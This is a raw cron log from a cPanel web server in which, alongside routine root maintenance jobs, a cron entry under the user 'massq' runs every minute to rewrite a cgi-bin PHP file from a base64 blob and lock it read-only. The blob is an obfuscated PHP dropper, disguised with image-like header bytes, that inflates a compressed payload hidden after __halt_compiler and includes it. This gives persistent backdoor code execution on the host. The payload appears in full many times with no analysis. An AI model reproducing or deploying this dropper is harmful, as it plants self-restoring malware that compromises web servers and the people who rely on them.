Sep  7 06:56:01 server CROND[15590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:56:01 server CROND[15591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:56:01 server CROND[15592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:57:01 server CROND[15970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:57:01 server CROND[15969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:57:01 server CROND[15971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:57:01 server CROND[15972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:58:01 server CROND[16361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:58:01 server CROND[16360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:58:01 server CROND[16362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:59:01 server CROND[16749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:59:01 server CROND[16750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:59:01 server CROND[16748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:00:01 server CROND[17145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:00:01 server CROND[17148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:00:01 server CROND[17150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:00:01 server CROND[17152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:00:01 server CROND[17153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:00:01 server CROND[17156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:00:01 server CROND[17157]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:00:01 server CROND[17151]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 07:00:01 server CROND[17155]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:01:01 server CROND[18080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:01:01 server CROND[18081]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 07:01:01 server CROND[18082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:01:01 server CROND[18083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:01:01 server run-parts(/etc/cron.hourly)[18081]: starting 0anacron
Sep  7 07:01:01 server run-parts(/etc/cron.hourly)[18102]: finished 0anacron
Sep  7 07:02:01 server CROND[18478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:02:01 server CROND[18480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:02:01 server CROND[18481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:03:01 server CROND[18870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:03:01 server CROND[18871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:03:01 server CROND[18877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:04:01 server CROND[19252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:04:01 server CROND[19253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:04:01 server CROND[19254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:05:01 server CROND[19636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:05:01 server CROND[19638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:05:01 server CROND[19640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:05:01 server CROND[19642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:05:01 server CROND[19643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:05:01 server CROND[19646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:05:01 server CROND[19644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:05:01 server CROND[19641]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:06:01 server CROND[20565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:06:01 server CROND[20566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:06:01 server CROND[20567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:07:01 server CROND[20950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:07:01 server CROND[20951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:07:01 server CROND[20952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:08:01 server CROND[21345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
